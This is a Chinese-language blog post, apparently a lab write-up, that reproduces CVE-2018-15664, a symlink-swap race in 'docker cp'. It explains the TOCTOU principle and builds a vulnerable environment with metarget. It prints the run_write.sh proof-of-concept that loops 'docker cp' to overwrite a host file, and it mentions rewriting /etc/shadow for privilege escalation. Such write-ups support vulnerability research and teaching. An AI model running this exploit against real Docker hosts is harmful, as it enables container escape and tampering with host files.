CVE漏洞复现-CVE-2018-15664 符号链接替换漏洞

CVE-2018-15664 符号链接替换漏洞

背景知识

1、docker cp 命令

docker cp 命令用于再Docker创建的容器与宿主机文件系统之间进行文件或目录复制

2、符号链接

符号链接也被称作为软链接,指的是这样一类文件-------它们包含了指向其他文件或目录的绝对或相对路径的引用。当我们操作一个符号链接时,操作系统通常会将我们的操作系统自动解析为针对符号的链接指向的文件或目录的操作。

再UNIX系统中,ln命令能够创建一个符号链接,列如:

ln -s target_path link_path

上述命令创建了一个名为link_path的符号链接,它的指向的目标文件为target_path。

漏洞原理

在18.06.1-ce-rc2 版本之前的Docker中,docker cp 命令对应后端API存在基于竞争条件符号链接替换漏洞,能够导致目录穿越。攻击者可以用此漏洞以root权限实现宿主机文件系统任意读写。CVE-2018-15664实际上是一个TOCTOU(time-of-check to time-of-use) 同意,属于竞态条件漏洞。简单来说,指的是在程序对某对象进行安全检查和使用该对象的步骤之间存在间隙,攻击者可以先构造并放置一个能够通过安全检查的合法对象,顺利通过目标程序的安全检查流程,然后立即使用恶意对象替换之前的合法对象。这样一来,目标程序真正使用的实际上是被替换后的恶意对象。

在这里插入图片描述

漏洞原理如上图所示,假设某程序需要使用“xxx”文件,为了避免安全风险,需要先对该文件进行合法性的检查,如果检查不通过,程序将报错或执行其他操作,只有在检查通过之后才会继续使用该文件。如果攻击者此时利用TOCTOU的问题用恶意文件替换了“xxx”文件,将导致系统运行恶意文件,完成 root 提权。

对于 CVE-2018-15664 来说,当用户执行 docker cp 命令后,Docker 守护进程收到这个请求,就会对用户给出的复制路径进行检查。如果路径中容器内部的符号链接,则先在容器内部将其解析成路径字符串,留待后用。一眼看上去,该流程似乎正常,但要考虑到容器内部的环境是不可控的。如果在 Docker 守护进程使用这个路径前将其替换为一个符号链接,那么这个符号链接就会于被打开的主机上解析,从而导致目录穿越。

环境安装

我们这里可以使用开源的 metarget 靶机项目,在Ubuntu服务器上一键部署漏洞环境。

靶机项目地址:https://github.com/brant-ruan/metarget.git

Ubuntu服务器16.04下载地址:https://releases.ubuntu.com/xenial/?_ga=2.116158342.1264923835.1691098186-990319097.1691098186

poc下载地址:https://seclists.org/oss-sec/2019/q2/131

  • 我们这里的Ubuntu服务器需要 Ubuntu 16.04 or 18.04 版本
  • Python >= 3.6
  • pip3

在Unbuntu中执行以下命令安装metarget:

git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt

安装好后直接执行以下的命令:

#安装18.03.1版本的docker
./metarget gadget install docker --version 18.03.1
#安装靶机镜像
./metarget cnv install cve-2018-15664

即可安装好存在CVE-2018-15664漏洞的Docker

漏洞详情

下载并解压Poc后,Poc的目录结构如下所示:

.
├── build
│   ├── Dockerfile
│   └── symlink_swap.c
├── run_read.sh
└── run_write.sh

其中,bulid目录包含了用来制作恶意镜像的Dockerfile和容器内漏洞利用源代码 symlink_swap.c。Dockerfile 的主要内容是构建漏洞利用程序 symlink_swap 并将其放置在容器根目录下,并在根目录下创建一个w00t_w00t_im_a_flag文件,内容为”FAILED – INSIDE CONTAINER PATH:。容器启动后执行程序(Entrypoint)即为/symlink_swap。

symlink_swap.c主要任务是在容器内创建指向根目录的“/”的符号链接,并不断地交换符号链接(由命令行参数传入,如”/totally_safe_path“)与一个正常目录(如“/totally_safe_path-stashed”)的名字。这样一来,Docker 在宿主机上执行docker cp时,就会遇到4种不同的场景,如果首先检测到“/totally_safe_path-stashed”是一个正常目录,但在后面执行复制操作时“/totally_safe_path”却变成了一个符号链接,那么docker将在宿主机上解析这个符号链接。

CVE-2018-15664属于竞态条件漏洞,不是每次都能够复现成功。为了增大漏洞被触发的几率,我们需要在宿主机上不断执行docker cp 命令, run_read.sh 和 run_write.sh 脚本正是用于模拟受害者在宿主机上不断执行docker cp 命令。那么,为什么会有两个脚本呢?事实上,这两个脚本模拟的是不同的场景:

  • run_read.sh 模拟受害者不断使用 docker cp 命令将容器内的文件复制到宿主机上的场景,一旦漏洞触发,容器将恶意符号链接在宿主机文件系统解析后指向的文件将被复制到受害者设定的宿主机目录下。
  • run_write.sh 模拟受害者不断使用 docker cp 命令将宿主机上的文件复制到容器内的场景,一旦触发漏洞,受害者指定的宿主机文件(localpath)将覆盖容器内恶意符号链接在宿主机文件系统解析后指向的文件(w00t_w00t_im_a_flag)。

我们以run_write.sh位列进行讲解,内容如下:

SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag
 
# 创建flag
echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 0444 "$SYMSWAP_TARGET"
 
# 构建镜像并运行容器
docker build -t cyphar/symlink_swap \
    --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
    --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")
 
echo "SUCCESS -- HOST FILE CHANGED" | tee localpath
 
# 不断执行docker cp命令
while true
do
    docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"
done

run_write.sh 恶意容器运行,然后不断执行 docker cp 命令,漏洞未触发时,宿主机上的/w00t_w00t_im_a_flag的内容为:

FAILED -- HOST FILE UNCHANGED

如果漏洞成功触发,容器内的符号链接 “/totally_safe_path ”将在宿主机文件系统上解析,因此docker cp实际上是将 /src_file 文件复制到了宿主机上的 /w00t_w00t_im_a_flag文件位置。也就是说,此时宿主机上 /w00t_w00t_im_a_flag 内容将被改写为:

SUCCESS -- HOST FILE CHANGED

漏洞复现

如下图所示我们手动执行run_write.sh捏的命令,漏洞成功触发:

./run_write.sh

在这里插入图片描述

可以看到,漏洞触发后,/w00t_w00t_im_a_flag 文件内容被成功改写了。宿主机上的攻击者可以借助这个漏洞来实现提权(如改写/etc/shadow文件),也可以实现对宿主机上的任意文件的读取。

参考:云原生安全:攻防实践与体系构建

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

千负

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值